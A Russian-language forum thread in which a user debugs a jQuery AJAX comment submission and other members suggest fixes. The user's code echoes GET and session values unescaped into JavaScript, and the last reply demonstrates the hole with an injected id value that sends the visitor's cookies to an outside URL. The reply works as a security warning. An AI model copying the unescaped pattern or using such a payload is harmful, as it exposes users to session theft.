Javascript.RU

Создать новую тему Ответ
 
Опции темы Искать в теме
  #1 (permalink)  
Старый 30.12.2015, 17:36
Новичок на форуме
Отправить личное сообщение для Teneroy Посмотреть профиль Найти все сообщения от Teneroy
 
Регистрация: 30.12.2015
Сообщений: 3

Помогите с отправкой данных методом POST с помощью AJAX
При нажатии на кнопку, скрипт выполняется успешно, но на comment_content.php данные постом не отправляются, sessionid и getid принимают верные значения.
$(document).ready(function() {
	$('.comment-button').bind("click", function() {
		var sessionid = "<?php echo $_SESSION['id']; ?>";
		var getid = "<?php echo $_GET['id']; ?>";
		$.ajax({
			url: "comment_content.php", 
			type: "POST", 
			data: ({ comment: $('.comment-area').val(), userid: sessionid, pageid: getid }),
			dataType: "html",
			beforeSend: function() {
				$('.wait').text("комментарий обрабатывается...");
			},
			success: function(data) {
				if (data) {
					$('.comment-area').val('');
					$('.wait').text("Комментарий отправлен усешно!");
				}
			}
		});
	});
});
Ответить с цитированием
  #2 (permalink)  
Старый 30.12.2015, 17:46
Профессор
Отправить личное сообщение для laimas Посмотреть профиль Найти все сообщения от laimas
 
Регистрация: 14.01.2015
Сообщений: 12,989

Сессия создается для каждого клиента отдельная, то есть браузер передает ID текущей сессии, и если сессия хранит ID пользователя, то сервер его будет знать, зачем же его передавать.
Номер страницы также можно получить на клиенте, то есть постоянно модифицировать JS на сервере зачем.

А что является источником запроса, форма, а '.comment-area' это ее текстовая область?
Ответить с цитированием
  #3 (permalink)  
Старый 30.12.2015, 17:57
Новичок на форуме
Отправить личное сообщение для Teneroy Посмотреть профиль Найти все сообщения от Teneroy
 
Регистрация: 30.12.2015
Сообщений: 3

Для выборки комментариев на страницу, через php, я храню в бд id человека, то есть id сессии, id страницы которая задается методом get, и сам коммент. id сессии у меня такой же, как и id пользователя. comment-area - это текстовая область <textarea></textarea>. При нажатии на кнопку, данные с области по идее должны отправляться постом на страницу.
Ответить с цитированием
  #4 (permalink)  
Старый 30.12.2015, 18:11
Профессор
Отправить личное сообщение для laimas Посмотреть профиль Найти все сообщения от laimas
 
Регистрация: 14.01.2015
Сообщений: 12,989

Сообщение от Teneroy
я храню в бд id человека, то есть id сессии
ID сессии, это типа fh2c0shav329h8q5imarj959c4, считаете, что такое ID для пользователей удобным?

ID сессии передается браузеру, браузер отдает его серверу, именно так клиент подключается к своей сессии. Зачем на клиента передавать ID сессии и ID клиента (все таки это уникальный идентификатор как число формируемое базой при добавлении клиента в базу), если они серверу известны?

Номер страницы запрашивается и ее текущую хранит навигатор, а значит на клиенте ее можно тоже получить.

Это я к тому, что зачем же при каждом выводе страницы помещать в вывод этот код ради его модификации сервером?

Я спрашивал про источник запроса, то есть если это форма, то она может отправляться, то есть страница будет перегружена, и Ajax запрос в холостую. А чтобы этого не происходило, нужно блокировать ее отправку. А у вас как?
Ответить с цитированием
  #5 (permalink)  
Старый 30.12.2015, 20:10
Новичок на форуме
Отправить личное сообщение для Teneroy Посмотреть профиль Найти все сообщения от Teneroy
 
Регистрация: 30.12.2015
Сообщений: 3

Я не использую форму, у меня просто textare и input со свойствами кнопки. А про сессию, я не правильно написал, я не id сессии использую, а глобальный массив session в который записываю id человека при входе на сайт.
<div class="comment-box">
	<textarea wrap="soft" class="comment-area"></textarea>
	<input type="submit" class="comment-button">
	<div class="wait"></div> 
</div>
Ответить с цитированием
  #6 (permalink)  
Старый 31.12.2015, 03:10
Профессор
Отправить личное сообщение для laimas Посмотреть профиль Найти все сообщения от laimas
 
Регистрация: 14.01.2015
Сообщений: 12,989

Если нет формы, то зачем кнопка submit, проку то от нее нет, используйте обычную кнопку. Начиная с jQuery 1.7, для прикрепления обработчиков событий, лучше использовать метод .on().

Сообщение от Teneroy
А про сессию, я не правильно написал
Это я "в уме" держал сессию, ID и страницу, которая тоже ID... В любом случае, это лишнее, то есть, вот этого:

var sessionid = "<?php echo $_SESSION['id']; ?>";
var getid = "<?php echo $_GET['id']; ?>";

совсем не нужно - id пользователя есть в сессии, а номер страницы на клиенте думаю получить можно. И круглые скобки data: ({}), это просто лишнее. В остальном все должно работать - F12 и проверить отладчиком. Запрос должен уходить, значит проблемы на сервере, в его сценарии.
Ответить с цитированием
  #7 (permalink)  
Старый 01.01.2016, 13:41
Аватар для ruslan_mart
Профессор
Отправить личное сообщение для ruslan_mart Посмотреть профиль Найти все сообщения от ruslan_mart
 
Регистрация: 30.04.2012
Сообщений: 3,018

А теперь попробуйте запустить страницу с
id=";eval("alert(document.cookie),document.location='http://javascript.ru?c='\+document.cookie");"&foo=bar
Ответить с цитированием
Ответ



Опции темы Искать в теме
Искать в теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Отправка данных формы. Как выглядит структура метода с AJAX (по JQuery)? Coriolan161 AJAX и COMET 5 24.11.2015 20:17
Книги по Ajax BaVa Учебные материалы 18 18.08.2013 14:05
Загрузка страниц с помощью ajax radikal AJAX и COMET 3 29.11.2012 16:26
jQuery Ajax Rater Plugin и массив POST - Нужна помощь TROODON jQuery 12 30.12.2009 22:44
Синхронный запрос данных по AJAX Shasoft AJAX и COMET 2 03.03.2009 14:07